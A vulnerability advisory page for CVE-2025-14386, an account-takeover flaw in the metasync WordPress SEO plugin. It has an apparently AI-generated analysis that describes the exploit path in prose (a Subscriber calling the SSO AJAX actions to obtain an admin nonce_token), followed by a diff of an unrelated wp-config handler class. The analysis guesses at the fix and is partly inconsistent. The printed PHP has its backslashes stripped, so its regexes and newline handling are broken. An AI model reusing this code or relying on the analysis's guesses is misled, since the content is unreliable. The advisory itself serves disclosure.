Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14386: Search Atlas SEO – Premier SEO Plugin for One-Click WP Publishing & Integrated AI Optimization 2.4.4 – 2.5.12 – Missing Authorization to Authenticated (Subscriber+) Authentication Bypass via Account Takeover (metasync)

Plugin metasync
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 2.5.12
Patched Version 2.5.13
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14386:
This vulnerability is an authentication bypass and account takeover in the Search Atlas SEO WordPress plugin versions 2.4.4 through 2.5.12. The flaw allows authenticated attackers with Subscriber-level permissions or higher to extract authentication credentials and log in as the first Administrator account. The CVSS score of 8.8 reflects the high impact of this privilege escalation vulnerability.

The root cause is missing capability checks on two AJAX handler functions. The plugin registers the ‘generate_sso_url’ and ‘validate_sso_token’ functions via the wp_ajax_nopriv_ hook, making them accessible without proper authorization. According to the vulnerability description, these functions lack capability verification, allowing low-privileged users to call them. The functions handle sensitive authentication tokens, specifically the ‘nonce_token’ value used for administrator authentication.

Exploitation requires an authenticated attacker with at least Subscriber access. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘generate_sso_url’ or ‘validate_sso_token’. The exact payload structure is not visible in the provided diff, but the vulnerability description indicates these functions return the ‘nonce_token’ authentication value. An attacker can use this token to impersonate the first Administrator account, effectively bypassing WordPress authentication mechanisms.

The patch adds proper capability checks to restrict access to administrative functions. While the exact code changes for the vulnerable functions are not shown in the truncated diff, the vulnerability description confirms the fix involves adding authorization checks. The patched version likely replaces wp_ajax_nopriv_ hooks with wp_ajax_ hooks and adds current_user_can() checks to verify the user has appropriate permissions before processing sensitive authentication operations.

Successful exploitation grants an attacker full administrative access to the WordPress site. Attackers can modify site content, install malicious plugins, create backdoor accounts, exfiltrate sensitive data, and potentially achieve remote code execution through plugin or theme editing capabilities. This account takeover represents a complete compromise of the affected WordPress installation.

Differential between vulnerable and patched code

Code Diff
--- a/metasync/MetaSyncDebug.php
+++ b/metasync/MetaSyncDebug.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Transforms a wp-config.php file.
- *
+ *
  * @package MetaSync
  * @since 1.0.0
  */
@@ -12,458 +12,503 @@
 }

 /**
+ * Exception thrown when wp-config.php file is missing.
+ */
+class WPConfigFileNotFoundException extends Exception
+{
+}
+
+/**
+ * Exception thrown when wp-config.php file is not writable.
+ */
+class WPConfigFileNotWritableException extends Exception
+{
+}
+
+/**
+ * Exception thrown when wp-config.php file is empty.
+ */
+class WPConfigFileEmptyException extends Exception
+{
+}
+
+/**
+ * Exception thrown when config type is invalid.
+ */
+class WPConfigInvalidTypeException extends Exception
+{
+}
+
+/**
+ * Exception thrown when config value is invalid.
+ */
+class WPConfigInvalidValueException extends Exception
+{
+}
+
+/**
+ * Exception thrown when placement anchor cannot be located.
+ */
+class WPConfigAnchorNotFoundException extends Exception
+{
+}
+
+/**
+ * Exception thrown when normalization fails.
+ */
+class WPConfigNormalizationException extends Exception
+{
+}
+
+/**
+ * Exception thrown when saving wp-config.php fails.
+ */
+class WPConfigSaveException extends Exception
+{
+}
+
+/**
  * Transforms a wp-config.php file.
  */
-class WPConfigTransformerMetaSync {
-	/**
-	 * Append to end of file
-	 */
-	const ANCHOR_EOF = 'EOF';
-
-	/**
-	 * Path to the wp-config.php file.
-	 *
-	 * @var string
-	 */
-	protected $wp_config_path;
-
-	/**
-	 * Original source of the wp-config.php file.
-	 *
-	 * @var string
-	 */
-	protected $wp_config_src;
-
-	/**
-	 * Array of parsed configs.
-	 *
-	 * @var array
-	 */
-	protected $wp_configs = array();
-
-	/**
-	 * Instantiates the class with a valid wp-config.php.
-	 *
-	 * @throws Exception If the wp-config.php file is missing.
-	 * @throws Exception If the wp-config.php file is not writable.
-	 *
-	 * @param string $wp_config_path Path to a wp-config.php file.
-	 */
-	public function __construct( $wp_config_path ) {
-		$basename = basename( $wp_config_path );
-
-		if ( ! file_exists( $wp_config_path ) ) {
-			throw new Exception( "{$basename} does not exist." );
-		}
-
-		if ( ! is_writable( $wp_config_path ) ) {
-			throw new Exception( "{$basename} is not writable." );
-		}
-
-		$this->wp_config_path = $wp_config_path;
-	}
-
-	/**
-	 * Checks if a config exists in the wp-config.php file.
-	 *
-	 * @throws Exception If the wp-config.php file is empty.
-	 * @throws Exception If the requested config type is invalid.
-	 *
-	 * @param string $type Config type (constant or variable).
-	 * @param string $name Config name.
-	 *
-	 * @return bool
-	 */
-	public function exists( $type, $name ) {
-		$wp_config_src = file_get_contents( $this->wp_config_path );
-
-		if ( ! trim( $wp_config_src ) ) {
-			throw new Exception( 'Config file is empty.' );
-		}
-
-		// Normalize the newline to prevent an issue coming from OSX.
-		$this->wp_config_src = str_replace( array( "nr", "r" ), "n", $wp_config_src );
-		$this->wp_configs    = $this->parse_wp_config( $this->wp_config_src );
-
-		if ( ! isset( $this->wp_configs[ $type ] ) ) {
-
-			throw new Exception( "Config type '{$type}' does not exist." );
-
-            return false;
-		}
-		if($name =='WP_DEBUG_LOG'){
-
-		 }
-		return isset( $this->wp_configs[ $type ][ $name ] );
-	}
-
-	/**
-	 * Get the value of a config in the wp-config.php file.
-	 *
-	 * @throws Exception If the wp-config.php file is empty.
-	 * @throws Exception If the requested config type is invalid.
-	 *
-	 * @param string $type Config type (constant or variable).
-	 * @param string $name Config name.
-	 *
-	 * @return array
-	 */
-	public function get_value( $type, $name ) {
-		$wp_config_src = file_get_contents( $this->wp_config_path );
-
-		if ( ! trim( $wp_config_src ) ) {
-			throw new Exception( 'Config file is empty.' );
-		}
-
-		$this->wp_config_src = $wp_config_src;
-		$this->wp_configs    = $this->parse_wp_config( $this->wp_config_src );
-
-		if ( ! isset( $this->wp_configs[ $type ] ) ) {
-//			throw new Exception( "Config type '{$type}' does not exist." );
+class WPConfigTransformerMetaSync
+{
+    /**
+     * Append to end of file
+     */
+    const ANCHOR_EOF = 'EOF';
+
+    /**
+     * Path to the wp-config.php file.
+     *
+     * @var string
+     */
+    protected $wpConfigPath;
+
+    /**
+     * Original source of the wp-config.php file.
+     *
+     * @var string
+     */
+    protected $wpConfigSrc;
+
+    /**
+     * Array of parsed configs.
+     *
+     * @var array
+     */
+    protected $wpConfigs = [];
+
+    /**
+     * Instantiates the class with a valid wp-config.php.
+     *
+     * @throws WPConfigFileNotFoundException If the wp-config.php file is missing.
+     * @throws WPConfigFileNotWritableException If the wp-config.php file is not writable.
+     *
+     * @param string $wpConfigPath Path to a wp-config.php file.
+     */
+    public function __construct($wpConfigPath)
+    {
+        $basename = basename($wpConfigPath);
+
+        if (!file_exists($wpConfigPath)) {
+            throw new WPConfigFileNotFoundException("{$basename} does not exist.");
+        }
+
+        if (!is_writable($wpConfigPath)) {
+            throw new WPConfigFileNotWritableException("{$basename} is not writable.");
+        }
+
+        $this->wpConfigPath = $wpConfigPath;
+    }
+
+    /**
+     * Checks if a config exists in the wp-config.php file.
+     *
+     * @throws WPConfigFileEmptyException If the wp-config.php file is empty.
+     * @throws WPConfigInvalidTypeException If the requested config type is invalid.
+     *
+     * @param string $type Config type (constant or variable).
+     * @param string $name Config name.
+     *
+     * @return bool
+     */
+    public function exists($type, $name)
+    {
+        $wpConfigSrc = file_get_contents($this->wpConfigPath);
+
+        if (!trim($wpConfigSrc)) {
+            throw new WPConfigFileEmptyException('Config file is empty.');
+        }
+
+        // Normalize the newline to prevent an issue coming from OSX.
+        $this->wpConfigSrc = str_replace(["nr", "r"], "n", $wpConfigSrc);
+        $this->wpConfigs = $this->parseWpConfig($this->wpConfigSrc);
+
+        if (!isset($this->wpConfigs[$type])) {
+            throw new WPConfigInvalidTypeException("Config type '{$type}' does not exist.");
+        }
+
+        return isset($this->wpConfigs[$type][$name]);
+    }
+
+    /**
+     * Get the value of a config in the wp-config.php file.
+     *
+     * @throws WPConfigFileEmptyException If the wp-config.php file is empty.
+     *
+     * @param string $type Config type (constant or variable).
+     * @param string $name Config name.
+     *
+     * @return mixed|null
+     */
+    public function getValue($type, $name)
+    {
+        $wpConfigSrc = file_get_contents($this->wpConfigPath);
+
+        if (!trim($wpConfigSrc)) {
+            throw new WPConfigFileEmptyException('Config file is empty.');
+        }
+
+        $this->wpConfigSrc = $wpConfigSrc;
+        $this->wpConfigs = $this->parseWpConfig($this->wpConfigSrc);
+
+        if (!isset($this->wpConfigs[$type])) {
             return null;
-		}
-
-		return $this->wp_configs[ $type ][ $name ]['value'];
-	}
-
-	/**
-	 * Adds a config to the wp-config.php file.
-	 *
-	 * @throws Exception If the config value provided is not a string.
-	 * @throws Exception If the config placement anchor could not be located.
-	 *
-	 * @param string $type    Config type (constant or variable).
-	 * @param string $name    Config name.
-	 * @param string $value   Config value.
-	 * @param array  $options (optional) Array of special behavior options.
-	 *
-	 * @return bool
-	 */
-	public function add( $type, $name, $value, array $options = array() ) {
-
-
-		if ( ! is_string( $value ) ) {
-            return ;
-			throw new Exception( 'Config value must be a string.' );
-		}
-
-		if ( $this->exists( $type, $name ) ) {
-			return false;
-		}
-
-		$defaults = array(
-			'raw'       => false, // Display value in raw format without quotes.
-			'anchor'    => "/* That's all, stop editing!", // Config placement anchor string.
-			'separator' => PHP_EOL, // Separator between config definition and anchor string.
-			'placement' => 'before', // Config placement direction (insert before or after).
-		);
-
-		list( $raw, $anchor, $separator, $placement ) = array_values( array_merge( $defaults, $options ) );
-
-		$raw       = (bool) $raw;
-		$anchor    = (string) $anchor;
-		$separator = (string) $separator;
-		$placement = (string) $placement;
-
-		if ( self::ANCHOR_EOF === $anchor ) {
-
-			$contents = $this->wp_config_src . $this->normalize( $type, $name, $this->format_value( $value, $raw ) );
-		} else {
-
-			if ( false === strpos( $this->wp_config_src, $anchor ) ) {
-				throw new Exception( 'Unable to locate placement anchor.' );
-			}
-
-			$new_src  = $this->normalize( $type, $name, $this->format_value( $value, $raw ) );
-			$new_src  = ( 'after' === $placement ) ? $anchor . $separator . $new_src : $new_src . $separator . $anchor;
-			$contents = str_replace( $anchor, $new_src, $this->wp_config_src );
-		}
-
-
-		return $this->save( $contents );
-	}
-
-	/**
-	 * Updates an existing config in the wp-config.php file.
-	 *
-	 * @throws Exception If the config value provided is not a string.
-	 *
-	 * @param string $type    Config type (constant or variable).
-	 * @param string $name    Config name.
-	 * @param string $value   Config value.
-	 * @param array  $options (optional) Array of special behavior options.
-	 *
-	 * @return bool
-	 */
-	public function update( $type, $name, $value, array $options = array() ) {
-		if ( ! is_string( $value ) ) {
-			throw new Exception( 'Config value must be a string.' );
-		}
-
-
-		$defaults = array(
-			'add'       => true, // Add the config if missing.
-			'raw'       => false, // Display value in raw format without quotes.
-			'normalize' => true, // Normalize config output using WP Coding Standards.
-		);
-
-		list( $add, $raw, $normalize ) = array_values( array_merge( $defaults, $options ) );
-
-		$add       = (bool) $add;
-		$raw       = (bool) $raw;
-		$normalize = (bool) $normalize;
-
-		if ( ! $this->exists( $type, $name ) ) {
-
-			return ( $add ) ? $this->add( $type, $name, $value, $options ) : false;
-		}else{
-
-		}
-
-		$old_src   = $this->wp_configs[ $type ][ $name ]['src'];
-		$old_value = $this->wp_configs[ $type ][ $name ]['value'];
-		$new_value = $this->format_value( $value, $raw );
-
-		if ( $normalize ) {
-			$new_src = $this->normalize( $type, $name, $new_value );
-		} else {
-			$new_parts    = $this->wp_configs[ $type ][ $name ]['parts'];
-			$new_parts[1] = str_replace( $old_value, $new_value, $new_parts[1] ); // Only edit the value part.
-			$new_src      = implode( '', $new_parts );
-		}
-		// echo json_encode([$this->wp_config_src]);
-		// echo '<br/><br/><br/>';
-		if($value=="true"){
-			$contents = preg_replace(
-				sprintf( '/(?<=^|;|<?phps|<?s)(s*?)%s/m', preg_quote( trim( $old_src ), '/' ) ),
-				'$1' . str_replace( '$', '$', trim( $new_src ) ),
-				$this->wp_config_src
-			);
-		}else{
-			if ( ! $this->exists( $type, $name ) ) {
-				return $this->save( '' );
-			}
-
-			$pattern  = sprintf( '/(?<=^|;|<?phps|<?s)%ss*(S|$)/m', preg_quote( $this->wp_configs[ $type ][ $name ]['src'], '/' ) );
-			$contents = preg_replace( $pattern, '$1', $this->wp_config_src );
-
-		}
-
-		return $this->save( $contents );
-	}
-
-	/**
-	 * Removes a config from the wp-config.php file.
-	 *
-	 * @param string $type Config type (constant or variable).
-	 * @param string $name Config name.
-	 *
-	 * @return bool
-	 */
-	public function remove( $type, $name ) {
-		if ( ! $this->exists( $type, $name ) ) {
-			return false;
-		}
-
-		$pattern  = sprintf( '/(?<=^|;|<?phps|<?s)%ss*(S|$)/m', preg_quote( $this->wp_configs[ $type ][ $name ]['src'], '/' ) );
-		$contents = preg_replace( $pattern, '$1', $this->wp_config_src );
-
-		return $this->save( $contents );
-	}
-
-	/**
-	 * Applies formatting to a config value.
-	 *
-	 * @throws Exception When a raw value is requested for an empty string.
-	 *
-	 * @param string $value Config value.
-	 * @param bool   $raw   Display value in raw format without quotes.
-	 *
-	 * @return mixed
-	 */
-	protected function format_value( $value, $raw ) {
-		if ( $raw && '' === trim( $value ) ) {
-			throw new Exception( 'Raw value for empty string not supported.' );
-		}
-
-		return ( $raw ) ? $value : var_export( $value, true );
-	}
-
-	/**
-	 * Normalizes the source output for a name/value pair.
-	 *
-	 * @throws Exception If the requested config type does not support normalization.
-	 *
-	 * @param string $type  Config type (constant or variable).
-	 * @param string $name  Config name.
-	 * @param mixed  $value Config value.
-	 *
-	 * @return string
-	 */
-	protected function normalize( $type, $name, $value ) {
-		if ( 'constant' === $type ) {
-			$placeholder = "define( '%s', %s );";
-		} elseif ( 'variable' === $type ) {
-			$placeholder = '$%s = %s;';
-		} else {
-			throw new Exception( "Unable to normalize config type '{$type}'." );
-		}
-
-		return sprintf( $placeholder, $name, $value );
-	}
-
-	/**
-	 * Parses the source of a wp-config.php file.
-	 *
-	 * @param string $src Config file source.
-	 *
-	 * @return array
-	 */
-	protected function parse_wp_config( $src ) {
-		$configs             = array();
-		$configs['constant'] = array();
-		$configs['variable'] = array();
-
-		// Strip comments.
-		foreach ( token_get_all( $src ) as $token ) {
-			if ( in_array( $token[0], array( T_COMMENT, T_DOC_COMMENT ), true ) ) {
-				$src = str_replace( $token[1], '', $src );
-			}
-		}
-
-		preg_match_all( '/(?<=^|;|<?phps|<?s)(h*defines*(s*['"](w*?)['"]s*)(,s*(''|""|'.*?[^\\]'|".*?[^\\]"|.*?)s*)((?:,s*(?:true|false)s*)?)s*;)/ims', $src, $constants );
-		preg_match_all( '/(?<=^|;|<?phps|<?s)(h*$(w+)s*=)(s*(''|""|'.*?[^\\]'|".*?[^\\]"|.*?)s*;)/ims', $src, $variables );
-
-		if ( ! empty( $constants[0] ) && ! empty( $constants[1] ) && ! empty( $constants[2] ) && ! empty( $constants[3] ) && ! empty( $constants[4] ) && ! empty( $constants[5] ) ) {
-			foreach ( $constants[2] as $index => $name ) {
-				$configs['constant'][ $name ] = array(
-					'src'   => $constants[0][ $index ],
-					'value' => $constants[4][ $index ],
-					'parts' => array(
-						$constants[1][ $index ],
-						$constants[3][ $index ],
-						$constants[5][ $index ],
-					),
-				);
-			}
-		}
-
-		if ( ! empty( $variables[0] ) && ! empty( $variables[1] ) && ! empty( $variables[2] ) && ! empty( $variables[3] ) && ! empty( $variables[4] ) ) {
-			// Remove duplicate(s), last definition wins.
-			$variables[2] = array_reverse( array_unique( array_reverse( $variables[2], true ) ), true );
-			foreach ( $variables[2] as $index => $name ) {
-				$configs['variable'][ $name ] = array(
-					'src'   => $variables[0][ $index ],
-					'value' => $variables[4][ $index ],
-					'parts' => array(
-						$variables[1][ $index ],
-						$variables[3][ $index ],
-					),
-				);
-			}
-		}
-
-		return $configs;
-	}
-
-	/**
-	 * Saves new contents to the wp-config.php file.
-	 *
-	 * @throws Exception If the config file content provided is empty.
-	 * @throws Exception If there is a failure when saving the wp-config.php file.
-	 *
-	 * @param string $contents New config contents.
-	 *
-	 * @return bool
-	 */
-	protected function save( $contents ) {
-
-		if ( ! trim( $contents ) ) {
-			throw new Exception( 'Cannot save the config file with empty contents.' );
-		}
-
-		if ( $contents === $this->wp_config_src ) {
-			return false;
-		}
-
-		// Create backup before modifying wp-config.php
-		$backup_path = $this->wp_config_path . '.metasync-backup-' . time();
-		if ( ! copy( $this->wp_config_path, $backup_path ) ) {
-			throw new Exception( 'Failed to create backup of wp-config.php' );
-		}
-
-		$result = file_put_contents( $this->wp_config_path, $contents, LOCK_EX );
-
-		if ( false === $result ) {
-			// Restore from backup on failure
-			copy( $backup_path, $this->wp_config_path );
-			unlink( $backup_path );
-			throw new Exception( 'Failed to update the config file.' );
-		}
-
-		// Clean up old backups (keep last 5)
-		$this->cleanup_old_backups();
-
-		return true;
-	}
-
-	/**
-	 * Clean up old wp-config backup files, keeping only the last 5
-	 */
-	protected function cleanup_old_backups() {
-		$config_dir = dirname( $this->wp_config_path );
-		$backup_pattern = basename( $this->wp_config_path ) . '.metasync-backup-*';
-		$backups = glob( $config_dir . '/' . $backup_pattern );
-
-		if ( count( $backups ) > 5 ) {
-			// Sort by modification time (oldest first)
-			usort( $backups, function( $a, $b ) {
-				return filemtime( $a ) - filemtime( $b );
-			});
-
-			// Delete oldest backups, keep last 5
-			$to_delete = array_slice( $backups, 0, count( $backups ) - 5 );
-			foreach ( $to_delete as $old_backup ) {
-				unlink( $old_backup );
-			}
-		}
-	}
-
+        }

-}
+        return $this->wpConfigs[$type][$name]['value'];
+    }

+    /**
+     * Adds a config to the wp-config.php file.
+     *
+     * @throws WPConfigAnchorNotFoundException If the config placement anchor could not be located.
+     *
+     * @param string $type    Config type (constant or variable).
+     * @param string $name     Config name.
+     * @param string $value    Config value.
+     * @param array  $options  Optional. Array of special behavior options.
+     *
+     * @return bool
+     */
+    public function add($type, $name, $value, array $options = [])
+    {
+        if (!is_string($value)) {
+            return false;
+        }
+
+        if ($this->exists($type, $name)) {
+            return false;
+        }
+
+        $defaults = [
+            'raw'       => false, // Display value in raw format without quotes.
+            'anchor'    => "/* That's all, stop editing!", // Config placement anchor string.
+            'separator' => PHP_EOL, // Separator between config definition and anchor string.
+            'placement' => 'before', // Config placement direction (insert before or after).
+        ];
+
+        list($raw, $anchor, $separator, $placement) = array_values(array_merge($defaults, $options));
+
+        $raw = (bool) $raw;
+        $anchor = (string) $anchor;
+        $separator = (string) $separator;
+        $placement = (string) $placement;
+
+        if (self::ANCHOR_EOF === $anchor) {
+            $contents = $this->wpConfigSrc . $this->normalize($type, $name, $this->formatValue($value, $raw));
+        } else {
+            if (false === strpos($this->wpConfigSrc, $anchor)) {
+                throw new WPConfigAnchorNotFoundException('Unable to locate placement anchor.');
+            }

+            $newSrc = $this->normalize($type, $name, $this->formatValue($value, $raw));
+            $newSrc = ('after' === $placement) ? $anchor . $separator . $newSrc : $newSrc . $separator . $anchor;
+            $contents = str_replace($anchor, $newSrc, $this->wpConfigSrc);
+        }
+
+        return $this->save($contents);
+    }
+
+    /**
+     * Updates an existing config in the wp-config.php file.
+     *
+     * @throws WPConfigInvalidValueException If the config value provided is not a string.
+     *
+     * @param string $type    Config type (constant or variable).
+     * @param string $name    Config name.
+     * @param string $value   Config value.
+     * @param array  $options Optional. Array of special behavior options.
+     *
+     * @return bool
+     */
+    public function update($type, $name, $value, array $options = [])
+    {
+        if (!is_string($value)) {
+            throw new WPConfigInvalidValueException('Config value must be a string.');
+        }
+
+        $defaults = [
+            'add'       => true, // Add the config if missing.
+            'raw'       => false, // Display value in raw format without quotes.
+            'normalize' => true, // Normalize config output using WP Coding Standards.
+        ];
+
+        list($add, $raw, $normalize) = array_values(array_merge($defaults, $options));
+
+        $add = (bool) $add;
+        $raw = (bool) $raw;
+        $normalize = (bool) $normalize;
+
+        if (!$this->exists($type, $name)) {
+            return ($add) ? $this->add($type, $name, $value, $options) : false;
+        }
+
+        $oldSrc = $this->wpConfigs[$type][$name]['src'];
+        $oldValue = $this->wpConfigs[$type][$name]['value'];
+        $newValue = $this->formatValue($value, $raw);
+
+        if ($normalize) {
+            $newSrc = $this->normalize($type, $name, $newValue);
+        } else {
+            $newParts = $this->wpConfigs[$type][$name]['parts'];
+            $newParts[1] = str_replace($oldValue, $newValue, $newParts[1]); // Only edit the value part.
+            $newSrc = implode('', $newParts);
+        }
+
+        if ($value === "true") {
+            $contents = preg_replace(
+                sprintf('/(?<=^|;|<?phps|<?s)(s*?)%s/m', preg_quote(trim($oldSrc), '/')),
+                '$1' . str_replace('$', '$', trim($newSrc)),
+                $this->wpConfigSrc
+            );
+        } else {
+            if (!$this->exists($type, $name)) {
+                return $this->save('');
+            }
+
+            $pattern = sprintf('/(?<=^|;|<?phps|<?s)%ss*(S|$)/m', preg_quote($this->wpConfigs[$type][$name]['src'], '/'));
+            $contents = preg_replace($pattern, '$1', $this->wpConfigSrc);
+        }
+
+        return $this->save($contents);
+    }
+
+    /**
+     * Removes a config from the wp-config.php file.
+     *
+     * @param string $type Config type (constant or variable).
+     * @param string $name Config name.
+     *
+     * @return bool
+     */
+    public function remove($type, $name)
+    {
+        if (!$this->exists($type, $name)) {
+            return false;
+        }
+
+        $pattern = sprintf('/(?<=^|;|<?phps|<?s)%ss*(S|$)/m', preg_quote($this->wpConfigs[$type][$name]['src'], '/'));
+        $contents = preg_replace($pattern, '$1', $this->wpConfigSrc);
+
+        return $this->save($contents);
+    }
+
+    /**
+     * Applies formatting to a config value.
+     *
+     * @throws WPConfigInvalidValueException When a raw value is requested for an empty string.
+     *
+     * @param string $value Config value.
+     * @param bool   $raw   Display value in raw format without quotes.
+     *
+     * @return mixed
+     */
+    protected function formatValue($value, $raw)
+    {
+        if ($raw && '' === trim($value)) {
+            throw new WPConfigInvalidValueException('Raw value for empty string not supported.');
+        }
+
+        return ($raw) ? $value : var_export($value, true);
+    }
+
+    /**
+     * Normalizes the source output for a name/value pair.
+     *
+     * @throws WPConfigNormalizationException If the requested config type does not support normalization.
+     *
+     * @param string $type  Config type (constant or variable).
+     * @param string $name  Config name.
+     * @param mixed  $value Config value.
+     *
+     * @return string
+     */
+    protected function normalize($type, $name, $value)
+    {
+        if ('constant' === $type) {
+            $placeholder = "define( '%s', %s );";
+        } elseif ('variable' === $type) {
+            $placeholder = '$%s = %s;';
+        } else {
+            throw new WPConfigNormalizationException("Unable to normalize config type '{$type}'.");
+        }
+
+        return sprintf($placeholder, $name, $value);
+    }
+
+    /**
+     * Parses the source of a wp-config.php file.
+     *
+     * @param string $src Config file source.
+     *
+     * @return array
+     */
+    protected function parseWpConfig($src)
+    {
+        $configs = [];
+        $configs['constant'] = [];
+        $configs['variable'] = [];
+
+        // Strip comments.
+        foreach (token_get_all($src) as $token) {
+            if (in_array($token[0], [T_COMMENT, T_DOC_COMMENT], true)) {
+                $src = str_replace($token[1], '', $src);
+            }
+        }
+
+        preg_match_all('/(?<=^|;|<?phps|<?s)(h*defines*(s*['"](w*?)['"]s*)(,s*(''|""|'.*?[^\\]'|".*?[^\\]"|.*?)s*)((?:,s*(?:true|false)s*)?)s*;)/ims', $src, $constants);
+        preg_match_all('/(?<=^|;|<?phps|<?s)(h*$(w+)s*=)(s*(''|""|'.*?[^\\]'|".*?[^\\]"|.*?)s*;)/ims', $src, $variables);
+
+        if (!empty($constants[0]) && !empty($constants[1]) && !empty($constants[2]) && !empty($constants[3]) && !empty($constants[4]) && !empty($constants[5])) {
+            foreach ($constants[2] as $index => $name) {
+                $configs['constant'][$name] = [
+                    'src'   => $constants[0][$index],
+                    'value' => $constants[4][$index],
+                    'parts' => [
+                        $constants[1][$index],
+                        $constants[3][$index],
+                        $constants[5][$index],
+                    ],
+                ];
+            }
+        }
+
+        if (!empty($variables[0]) && !empty($variables[1]) && !empty($variables[2]) && !empty($variables[3]) && !empty($variables[4])) {
+            // Remove duplicate(s), last definition wins.
+            $variables[2] = array_reverse(array_unique(array_reverse($variables[2], true)), true);
+            foreach ($variables[2] as $index => $name) {
+                $configs['variable'][$name] = [
+                    'src'   => $variables[0][$index],
+                    'value' => $variables[4][$index],
+                    'parts' => [
+                        $variables[1][$index],
+                        $variables[3][$index],
+                    ],
+                ];
+            }
+        }
+
+        return $configs;
+    }
+
+    /**
+     * Saves new contents to the wp-config.php file.
+     *
+     * @throws WPConfigFileEmptyException If the config file content provided is empty.
+     * @throws WPConfigSaveException If there is a failure when saving the wp-config.php file.
+     *
+     * @param string $contents New config contents.
+     *
+     * @return bool
+     */
+    protected function save($contents)
+    {
+        if (!trim($contents)) {
+            throw new WPConfigFileEmptyException('Cannot save the config file with empty contents.');
+        }
+
+        if ($contents === $this->wpConfigSrc) {
+            return false;
+        }
+
+        // Create backup before modifying wp-config.php
+        $backupPath = $this->wpConfigPath . '.metasync-backup-' . time();
+        if (!copy($this->wpConfigPath, $backupPath)) {
+            throw new WPConfigSaveException('Failed to create backup of wp-config.php');
+        }
+
+        $result = file_put_contents($this->wpConfigPath, $contents, LOCK_EX);
+
+        if (false === $result) {
+            // Restore from backup on failure
+            copy($backupPath, $this->wpConfigPath);
+            unlink($backupPath);
+            throw new WPConfigSaveException('Failed to update the config file.');
+        }
+
+        // Clean up old backups (keep last 5)
+        $this->cleanupOldBackups();
+
+        return true;
+    }
+
+    /**
+     * Clean up old wp-config backup files, keeping only the last 5
+     *
+     * @return void
+     */
+    protected function cleanupOldBackups()
+    {
+        $configDir = dirname($this->wpConfigPath);
+        $backupPattern = basename($this->wpConfigPath) . '.metasync-backup-*';
+        $backups = glob($configDir . '/' . $backupPattern);
+
+        if (count($backups) > 5) {
+            // Sort by modification time (oldest first)
+            usort($backups, function ($a, $b) {
+                return filemtime($a) - filemtime($b);
+            });
+
+            // Delete oldest backups, keep last 5
+            $toDelete = array_slice($backups, 0, count($backups) - 5);
+            foreach ($toDelete as $oldBackup) {
+                unlink($oldBackup);
+            }
+        }
+    }
+}

 class ConfigControllerMetaSync
 {
     const WPDD_DEBUGGING_PREDEFINED_CONSTANTS_STATE = 'dlct_data_initial';
     private static $configfilePath;
-
+
     protected $optionKey = 'debuglogconfigtool_updated_constant';
     public $debugConstants = ['WP_DEBUG', 'WP_DEBUG_LOG', 'SCRIPT_DEBUG'];
-    protected $config_file_manager;
+    protected $configFileManager;
     private static $configArgs = [
         'normalize' => true,
         'raw'       => true,
         'add'       => true,
     ];
-
+
     public function __construct()
     {
         $this->initialize();
     }
-
+
     private function initialize()
     {
         self::$configfilePath = $this->getConfigFilePath();
-        //set anchor for the constants to write
+        // Set anchor for the constants to write
         $configContents = file_get_contents(self::$configfilePath);
         if (false === strpos($configContents, "/* That's all, stop editing!")) {
             preg_match('@$table_prefix = (.*);@', $configContents, $matches);
             self::$configArgs['anchor'] = $matches[0] ?? '';
             self::$configArgs['placement'] = 'after';
         }
-
+
         if (!is_writable(self::$configfilePath)) {
             add_action('admin_notices', function () {
                 $class = 'notice notice-error is-dismissible';
@@ -472,62 +517,60 @@
             });
             return;
         }
-
-        $this->config_file_manager = new WPConfigTransformerMetaSync(self::$configfilePath);
+
+        $this->configFileManager = new WPConfigTransformerMetaSync(self::$configfilePath);
     }
-
-
+
     public function store()
     {
         try {
             // Whitelist of allowed constants to prevent arbitrary constant modification
-            $allowed_constants = ['WP_DEBUG', 'WP_DEBUG_LOG', 'WP_DEBUG_DISPLAY'];
-
+            $allowedConstants = ['WP_DEBUG', 'WP_DEBUG_LOG', 'WP_DEBUG_DISPLAY'];
+
             $updatedConstants = [];
-			$wp_debug_enabled = get_option('wp_debug_enabled', 'false');
-			$wp_debug_log_enabled = get_option('wp_debug_log_enabled', 'false');
-			$wp_debug_display_enabled = get_option('wp_debug_display_enabled', 'false');
-           $constants = [
-				'WP_DEBUG'         => [
-					'name'  => 'WP_DEBUG',
-					'value' => ($wp_debug_enabled=='true'?true:false),
-					'info'  => 'Enable WP_DEBUG mode',
-				],
-				'WP_DEBUG_LOG'     => [
-					'name'  => 'WP_DEBUG_LOG',
-					'value' =>  ($wp_debug_log_enabled=='true'?true:false),
-					'info'  => 'Enable Debug logging to the /wp-content/debug.log file',
-				],
-				'WP_DEBUG_DISPLAY' => [
-					'name'  => 'WP_DEBUG_DISPLAY',
-					'value' => ($wp_debug_display_enabled=='true'?true:false),
-					'info'  => 'Disable or hide display of errors and warnings in html pages'
-				]
-			];
+            $wpDebugEnabled = get_option('wp_debug_enabled', 'false');
+            $wpDebugLogEnabled = get_option('wp_debug_log_enabled', 'false');
+            $wpDebugDisplayEnabled = get_option('wp_debug_display_enabled', 'false');
+            $constants = [
+                'WP_DEBUG' => [
+                    'name'  => 'WP_DEBUG',
+                    'value' => ($wpDebugEnabled === 'true' ? true : false),
+                    'info'  => 'Enable WP_DEBUG mode',
+                ],
+                'WP_DEBUG_LOG' => [
+                    'name'  => 'WP_DEBUG_LOG',
+                    'value' => ($wpDebugLogEnabled === 'true' ? true : false),
+                    'info'  => 'Enable Debug logging to the /wp-content/debug.log file',
+                ],
+                'WP_DEBUG_DISPLAY' => [
+                    'name'  => 'WP_DEBUG_DISPLAY',
+                    'value' => ($wpDebugDisplayEnabled === 'true' ? true : false),
+                    'info'  => 'Disable or hide display of errors and warnings in html pages'
+                ]
+            ];
             $this->maybeRemoveDeletedConstants($constants);
-
+
             foreach ($constants as $constant) {
                 // Use sanitize_key instead of sanitize_title for constant names
                 $key = strtoupper(sanitize_key($constant['name']));
-
+
                 // Whitelist validation - only allow specific constants
-                if (!in_array($key, $allowed_constants, true)) {
+                if (!in_array($key, $allowedConstants, true)) {
                     error_log('MetaSync: Attempted to modify non-whitelisted constant: ' . $key);
                     continue;
                 }
-
+
                 if (empty($key)) {
                     continue;
                 }
-
+
                 // Sanitize value - only allow boolean values
                 $value = is_bool($constant['value']) ? $constant['value'] : ($constant['value'] === 'true' || $constant['value'] === true);
